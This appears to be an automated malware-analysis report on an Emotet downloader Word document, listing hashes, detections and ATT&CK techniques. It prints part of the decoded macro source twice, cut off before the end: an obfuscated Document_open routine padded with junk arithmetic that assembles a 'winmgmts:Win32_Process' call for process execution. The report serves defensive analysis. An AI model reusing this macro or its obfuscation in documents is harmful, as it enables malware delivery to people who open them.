Emotet Office (OLE) malware analysis — malicious · 9fe713888e6eee6e

MALICIOUS

Office (OLE)

71.3 KB Created: 2019-12-10 06:52:00 Authoring application: Microsoft Office Word First seen: 2020-02-04

MD5: 57ab3363b311e871904dacc65a60bf57 SHA-1: d954587f46454dd880a42febfb1521f79d427f45 SHA-256: 9fe713888e6eee6ee9a6bb569f672ab2f846940c8d8aa55e3dd9466931977760

202 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK

T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample is identified as malicious by ClamAV with the signature 'Doc.Downloader.Emotet-7442526-0', indicating a downloader variant of the Emotet family. High-severity heuristics confirm the presence of a Document_Open VBA macro that uses CreateObject, a common technique for executing malicious code. The macro is designed to run automatically when the document is opened, likely to download and execute a secondary payload.

Heuristics 6

ClamAV: Doc.Downloader.Emotet-7442526-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Downloader.Emotet-7442526-0
VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code
Document_Open macro high OLE_VBA_DOCOPEN

Document_Open macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6631 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	6631 bytes
SHA-256: `0a19dd2b89be8f384126a6c8caa3be6a9bf839056aba548d31b13c12ab9c5f45`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "Grndvilmfxusu" Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Attribute VB_Control = "Ipbhzjkncevic, 0, 0, MSForms, TextBox" Private Sub Document_open() Dim Ykfhunay, Iuahtedkl If Cwknwluczsf > Zwyoegavqmahq Then Pmmjrnwouux = wWj * NrKf + 48 * Tan(zDMm - CDbl(62 + EtETS) + 23 * Rwfl1Y9) End If If Vxodmbiwg < Eluljkgfb Then Mgvqldietg = 766 End If If Ztyxupbujwgf < Kejosadjkihw Then Ncvyzqusk = 833 End If Dim Xykyjqujzy, Ytjfsftdmz If Wtdtunybpte > Scdzqkamc Then Biotsxxx = wWj * NrKf + 48 * Tan(zDMm - CDbl(62 + EtETS) + 23 * Rwfl1Y9) End If If Cpmbolzoufpla < Qevpjbtq Then Lyfjsvhiiqmq = 766 End If If Ybxixmpi < Csbhfuizkjc Then Fcjidrjrzgtq = 833 End If Dim Dyulndukvonx, Cjqmzluqdbwg If Gitwwscgqezbx > Xthssdcrnis Then Uspgkvdnvr = wWj * NrKf + 48 * Tan(zDMm - CDbl(62 + EtETS) + 23 * Rwfl1Y9) End If If Pvsmmyoazg < Nzuerfndspm Then Sqbpdccggci = 766 End If If Akeynokat < Zvpdwuaj Then Uhmlwefhgxmum = 833 End If Mxeooqtzdnv End Sub Attribute VB_Name = "Yamqsognn" Attribute VB_Base = "0{295761FA-43BB-4034-B142-41F56796C168}{06944482-9981-4924-9F23-CC7C2B8B03DF}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = False Attribute VB_Name = "Evdthfwimpbql" Function Essywbhldylcv(Bxmrlfloxuv) Dim Sbszwrraa, Zpvmyznjkb If Phkjrawfnbd > Uiyuakkuqz Then Rpilbpdildr = wWj * NrKf + 48 * Tan(zDMm - CDbl(62 + EtETS) + 23 * Rwfl1Y9) End If If Zzezxymic < Opkqzwyinua Then Tllzeyqqnma = 766 End If If Usblholrx < Nipfjxozo Then Mmmedmabd = 833 End If Alvvhiipxutx = Grndvilmfxusu.Ipbhzjkncevic Dim Ivgtjyuqxwk, Zlbaksslmo If Twcyopriuahff > Okdjqlzeu Then Tbecvhxwpc = wWj * NrKf + 48 * Tan(zDMm - CDbl(62 + EtETS) + 23 * Rwfl1Y9) End If If Jgsvsyevubmd < Fsltridbwp Then Faiitdxstcxq = 766 End If If Qyrspablc < Vkiohkcqat Then Lhjgjpcuuml = 833 End If Irijuxbxuuxu = Alvvhiipxutx + Yamqsognn.Uwutfowxjpyf + Yamqsognn.Zlwabmdpoeoe + Yamqsognn.Mglomggp Dim Obmrplvd, Nungdkdhth If Ukpzgiinavlsg > Fjglktohtx Then Mixglergbc = wWj * NrKf + 48 * Tan(zDMm - CDbl(62 + EtETS) + 23 * Rwfl1Y9) End If If Mumjrjvau < Ymvkdgdvbtzwf Then Znobkdsbzqg = 766 End If If Kbmonkzuqun < Golnyhgcjilto Then Kwuxbnlzh = 833 End If Kmfwddusrejjv = Irijuxbxuuxu + Yamqsognn.Ifaxuart + Yamqsognn.Yayelfkytz Dim Iwoghsvjva, Wmicclhw If Smnnsxgy > Sqgqtuedj Then Plvvfghth = wWj * NrKf + 48 * Tan(zDMm - CDbl(62 + EtETS) + 23 * Rwfl1Y9) End If If Dgectuzydxi < Ffsihgdmpt Then Rrnrzekr = 766 End If If Alrbkelolg < Qznymbkanm Then Bdlgetxs = 833 End If Essywbhldylcv = Ujrxpkxbag + Kmfwddusrejjv + Ujrxpkxbag Dim Neevbgruy, Blhzqdcv If Nwxbhlokovii > Cklvkzsrrcu Then Nnscqwmzhg = wWj * NrKf + 48 * Tan(zDMm - CDbl(62 + EtETS) + 23 * Rwfl1Y9) End If If Vdjkltsvtxfs < Ozwfvhxzbx Then Smenudqbowjg = 766 End If If Bprqiaufh < Clmwvbmp Then Fqgccbfw = 833 End If End Function Function Mxeooqtzdnv() Dim Axtsuyqd, Qfreppsv If Tnykklfxtpz > Vrasnplgtnusy Then Iabcnpjmzii = wWj * NrKf + 48 * Tan(zDMm - CDbl(62 + EtETS) + 23 * Rwfl1Y9) End If If Skfcihvnpxeg < Aaesmmqpso Then Ilebjfgtojhr = 766 End If If Ccsdwvvfjmv < Wbcrrfnzkinnz Then Uqtmhvkowprby = 833 End If Opjhdwjw = a + "win" + b + "mgmt" + c + "s:Win32_P" + d + "rocess" Dim Phywusodgzne, Klhscckotdk If Udmylqqjqkm > Rlihtpjonk Then Oyibnvmlbtz = wWj * NrKf + 48 * Tan(zDMm - CDbl(62 + EtETS) + 23 * Rwfl1Y9) End If If Cojgtavp < Zfmkuzchtn Then Rhicpar ... (truncated)

SHA-256: 0a19dd2b89be8f384126a6c8caa3be6a9bf839056aba548d31b13c12ab9c5f45

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "Grndvilmfxusu"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "Ipbhzjkncevic, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   Dim Ykfhunay, Iuahtedkl
If Cwknwluczsf > Zwyoegavqmahq Then
         Pmmjrnwouux = wWj * NrKf + 48 * Tan(zDMm - CDbl(62 + EtETS) + 23 * Rwfl1Y9)
End If
If Vxodmbiwg < Eluljkgfb Then
         Mgvqldietg = 766
End If
If Ztyxupbujwgf < Kejosadjkihw Then
         Ncvyzqusk = 833
End If
   Dim Xykyjqujzy, Ytjfsftdmz
If Wtdtunybpte > Scdzqkamc Then
         Biotsxxx = wWj * NrKf + 48 * Tan(zDMm - CDbl(62 + EtETS) + 23 * Rwfl1Y9)
End If
If Cpmbolzoufpla < Qevpjbtq Then
         Lyfjsvhiiqmq = 766
End If
If Ybxixmpi < Csbhfuizkjc Then
         Fcjidrjrzgtq = 833
End If
   Dim Dyulndukvonx, Cjqmzluqdbwg
If Gitwwscgqezbx > Xthssdcrnis Then
         Uspgkvdnvr = wWj * NrKf + 48 * Tan(zDMm - CDbl(62 + EtETS) + 23 * Rwfl1Y9)
End If
If Pvsmmyoazg < Nzuerfndspm Then
         Sqbpdccggci = 766
End If
If Akeynokat < Zvpdwuaj Then
         Uhmlwefhgxmum = 833
End If
Mxeooqtzdnv
End Sub

Attribute VB_Name = "Yamqsognn"
Attribute VB_Base = "0{295761FA-43BB-4034-B142-41F56796C168}{06944482-9981-4924-9F23-CC7C2B8B03DF}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Evdthfwimpbql"
Function Essywbhldylcv(Bxmrlfloxuv)
   Dim Sbszwrraa, Zpvmyznjkb
If Phkjrawfnbd > Uiyuakkuqz Then
         Rpilbpdildr = wWj * NrKf + 48 * Tan(zDMm - CDbl(62 + EtETS) + 23 * Rwfl1Y9)
End If
If Zzezxymic < Opkqzwyinua Then
         Tllzeyqqnma = 766
End If
If Usblholrx < Nipfjxozo Then
         Mmmedmabd = 833
End If
Alvvhiipxutx = Grndvilmfxusu.Ipbhzjkncevic
   Dim Ivgtjyuqxwk, Zlbaksslmo
If Twcyopriuahff > Okdjqlzeu Then
         Tbecvhxwpc = wWj * NrKf + 48 * Tan(zDMm - CDbl(62 + EtETS) + 23 * Rwfl1Y9)
End If
If Jgsvsyevubmd < Fsltridbwp Then
         Faiitdxstcxq = 766
End If
If Qyrspablc < Vkiohkcqat Then
         Lhjgjpcuuml = 833
End If
Irijuxbxuuxu = Alvvhiipxutx + Yamqsognn.Uwutfowxjpyf + Yamqsognn.Zlwabmdpoeoe + Yamqsognn.Mglomggp
   Dim Obmrplvd, Nungdkdhth
If Ukpzgiinavlsg > Fjglktohtx Then
         Mixglergbc = wWj * NrKf + 48 * Tan(zDMm - CDbl(62 + EtETS) + 23 * Rwfl1Y9)
End If
If Mumjrjvau < Ymvkdgdvbtzwf Then
         Znobkdsbzqg = 766
End If
If Kbmonkzuqun < Golnyhgcjilto Then
         Kwuxbnlzh = 833
End If
Kmfwddusrejjv = Irijuxbxuuxu + Yamqsognn.Ifaxuart + Yamqsognn.Yayelfkytz
   Dim Iwoghsvjva, Wmicclhw
If Smnnsxgy > Sqgqtuedj Then
         Plvvfghth = wWj * NrKf + 48 * Tan(zDMm - CDbl(62 + EtETS) + 23 * Rwfl1Y9)
End If
If Dgectuzydxi < Ffsihgdmpt Then
         Rrnrzekr = 766
End If
If Alrbkelolg < Qznymbkanm Then
         Bdlgetxs = 833
End If
Essywbhldylcv = Ujrxpkxbag + Kmfwddusrejjv + Ujrxpkxbag
   Dim Neevbgruy, Blhzqdcv
If Nwxbhlokovii > Cklvkzsrrcu Then
         Nnscqwmzhg = wWj * NrKf + 48 * Tan(zDMm - CDbl(62 + EtETS) + 23 * Rwfl1Y9)
End If
If Vdjkltsvtxfs < Ozwfvhxzbx Then
         Smenudqbowjg = 766
End If
If Bprqiaufh < Clmwvbmp Then
         Fqgccbfw = 833
End If
End Function
Function Mxeooqtzdnv()
   Dim Axtsuyqd, Qfreppsv
If Tnykklfxtpz > Vrasnplgtnusy Then
         Iabcnpjmzii = wWj * NrKf + 48 * Tan(zDMm - CDbl(62 + EtETS) + 23 * Rwfl1Y9)
End If
If Skfcihvnpxeg < Aaesmmqpso Then
         Ilebjfgtojhr = 766
End If
If Ccsdwvvfjmv < Wbcrrfnzkinnz Then
         Uqtmhvkowprby = 833
End If
Opjhdwjw = a + "win" + b + "mgmt" + c + "s:Win32_P" + d + "rocess"
   Dim Phywusodgzne, Klhscckotdk
If Udmylqqjqkm > Rlihtpjonk Then
         Oyibnvmlbtz = wWj * NrKf + 48 * Tan(zDMm - CDbl(62 + EtETS) + 23 * Rwfl1Y9)
End If
If Cojgtavp < Zfmkuzchtn Then
         Rhicpar
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.